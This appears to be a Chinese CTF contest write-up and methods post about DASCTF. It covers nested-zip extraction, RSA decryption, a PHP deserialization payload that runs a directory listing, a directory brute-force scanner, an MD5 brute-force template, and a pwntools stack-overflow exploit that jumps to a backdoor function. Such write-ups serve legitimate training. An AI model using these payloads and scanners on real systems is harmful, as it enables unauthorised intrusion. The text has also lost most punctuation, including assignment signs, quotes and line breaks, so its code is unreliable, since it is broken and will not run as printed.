1. 赛题复盘与解题思路拆解参加CTF比赛最让人头疼的往往不是题目本身而是如何在有限时间内快速分析问题并找到突破口。去年参加DASCTF时我就深刻体会到了这一点。比赛时间只有3小时却要完成15道题目最后还要赶在截止前提交Writeup。这种高压环境下解题效率和方法论就显得尤为重要。以MISC方向的ez_zip为例这道题考察的是套娃压缩包的处理能力。我最初尝试手动解压但解到第三层就意识到这根本不是人力所能及。这时候脚本自动化就显得尤为重要。我参考了网上大神的解套娃脚本稍作修改后成功跑出结果。关键点在于使用zipfile模块的BytesIO处理二进制流通过filelist遍历压缩包内文件用cp437和gbk编码处理中文文件名乱码设置终止条件判断是否所有文件都已处理import io import zipfile with open(ez_zip的附件.zip, rb) as f: data f.read() info taptap while True: with zipfile.ZipFile(io.BytesIO(data), r) as zf: all_files_processed True for i in zf.filelist: fileName i.filename.encode(cp437).decode(gbk) if zipfile.is_zipfile(io.BytesIO(zf.read(i.filename))): print(fileName) data zf.read(i.filename) all_files_processed False info f {fileName.replace(.zip, )} else: print(fileName) with open(fileName, wb) as f: f.write(zf.read(i.filename)) if all_files_processed: break print(info)2. 密码学题目的通用解法CRYPTO方向的so-large-e题目给我留下了深刻印象。这道题给出了非常大的公钥指数e提示我们需要使用Boneh-Durfee攻击。这类题目的解题套路通常是首先分析RSA参数特征检查n是否容易分解factordb观察e的大小小e可能有低指数攻击大e考虑Wiener或Boneh-Durfee查看是否有共模、广播等特征对于Boneh-Durfee攻击需要满足d N^0.292的条件。实际操作中我使用了现成的攻击脚本关键步骤包括构建格基矩阵使用LLL算法进行格基约简从约简后的向量中提取私钥dfrom Crypto.Util.number import long_to_bytes c 6838759631922176040297411386959306230064807618456930982742841698524622016849807235726065272136043603027166249075560058232683230155346614429566511309977857815138004298815137913729662337535371277019856193898546849896085411001528569293727010020290576888205244471943227253000727727343731590226737192613447347860 n 116518679305515263290840706715579691213922169271634579327519562902613543582623449606741546472920401997930041388553141909069487589461948798111698856100819163407893673249162209631978914843896272256274862501461321020961958367098759183487116417487922645782638510876609728886007680825340200888068103951956139343723 e 1134492478760713979112060700194959390881716967121827475021330631720215653457886272617409506658919226593400203972296193292045209990965359098673279603235981685966643236923125164666485883206072912846304345682282630745947689431909998401389566081966753438869725583665294310689820290368901166811028660086977458571233 d 663822343397699728953336968317794118491145998032244266550694156830036498673227937 mlong_to_bytes(int(pow(c,d,n))) print(m)3. Writeup撰写的方法论好的Writeup不仅是解题过程的记录更应该是可复用的知识资产。经过多次比赛实践我总结出Writeup撰写的几个关键点问题描述简明扼要地重述题目要求和给出的附件解题思路记录第一反应和尝试过的错误方向关键突破详细说明发现突破口的过程代码实现提供可运行的完整代码并解释关键参数经验总结提炼通用性强的解题模式以WEB方向的eaaeval为例我的Writeup结构如下题目描述发现提交特定用户密码可跳转到特殊页面解题过程通过目录爆破获取www.zip源码分析反序列化漏洞点构造payload绕过限制关键代码O:4:Flag:2:{s:1:a;s:2:ls;s:1:b;s:1:/;}经验总结PHP反序列化要注意魔术方法的触发条件和属性可见性4. 比赛策略与时间管理CTF比赛不仅是技术比拼更是策略和心态的较量。那次DASCTF我们以一题之差屈居第二很大程度是因为时间分配不当。现在我会采用以下策略题目分类快速浏览所有题目按类型和难度分级时间分配简单题30分钟内解决中等题1小时难题最后攻关团队协作明确分工避免多人做同一题Writeup同步解题过程中就记录关键步骤最后只需整理特别要注意的是有些比赛平台如当时的DASCTF不显示实时排名只能通过积分变化推测位置。这种情况下更要保持冷静专注于题目本身而不是排名波动。我们队曾因积分掉到0.7而慌乱后来发现只是计分方式特殊而已。5. 实用脚本工具箱经过多次比赛我积累了一套自己的CTF脚本工具箱这里分享几个最常用的文件分析脚本自动识别文件类型、检查隐写#!/bin/bash file $1 binwalk $1 xxd $1 | headWeb目录爆破常用字典快速扫描import requests from concurrent.futures import ThreadPoolExecutor with open(dict.txt) as f: paths [line.strip() for line in f] def check(path): url fhttp://target.com/{path} resp requests.get(url) if resp.status_code 200: print(fFound: {url}) with ThreadPoolExecutor(20) as executor: executor.map(check, paths)密码爆破模板适用于各类密码题import itertools from Crypto.Hash import MD5 charset 0123456789abcdef length 6 for candidate in itertools.product(charset, repeatlength): candidate .join(candidate) if MD5.new(candidate.encode()).hexdigest() target_hash: print(fFound: {candidate}) break6. 常见坑点与调试技巧在PWN题ez_base中我花了大量时间调试栈溢出漏洞。总结几个实用调试技巧GDB增强配置在~/.gdbinit中添加常用命令set disassembly-flavor intel define hook-stop x/10i $eip x/10wx $esp info registers endROP链构建使用ROPgadget工具快速查找gadgetROPgadget --binary ./pwn --ropchainPayload调试分阶段测试payloadfrom pwn import * # 本地测试 p process(./pwn) gdb.attach(p, b *vuln_function0x42) # 正式攻击 #p remote(tcp.cloud.dasctf.com,23938) p.sendlineafter(2:decode,1) p.sendlineafter(cin de_str:, flat({ 0x28: p64(0x404911) # 后门函数地址 })) p.interactive()7. 赛后复盘与知识沉淀比赛结束后的复盘往往比参赛本身更重要。我的复盘流程包括题目归档按类型分类保存题目文件和Writeup解法优化思考是否有更优解改进脚本知识补充针对不熟悉的技术点系统学习模板更新将新学到的技巧加入解题模板库例如那次比赛后我将点阵数据转换的代码封装成了通用函数from PIL import Image def draw_dots(s, filename): 将二进制字符串转换为点阵图 img Image.new(RGB, (16, 16)) for y in range(16): for x in range(16): bit s[y*16 x] img.putpixel((x,y), (255,255,255) if bit1 else (0,0,0)) img.save(filename)这套方法论不仅适用于DASCTF也可以迁移到其他CTF比赛中。关键是要形成自己的知识体系把每次比赛的经验转化为可复用的解题模式。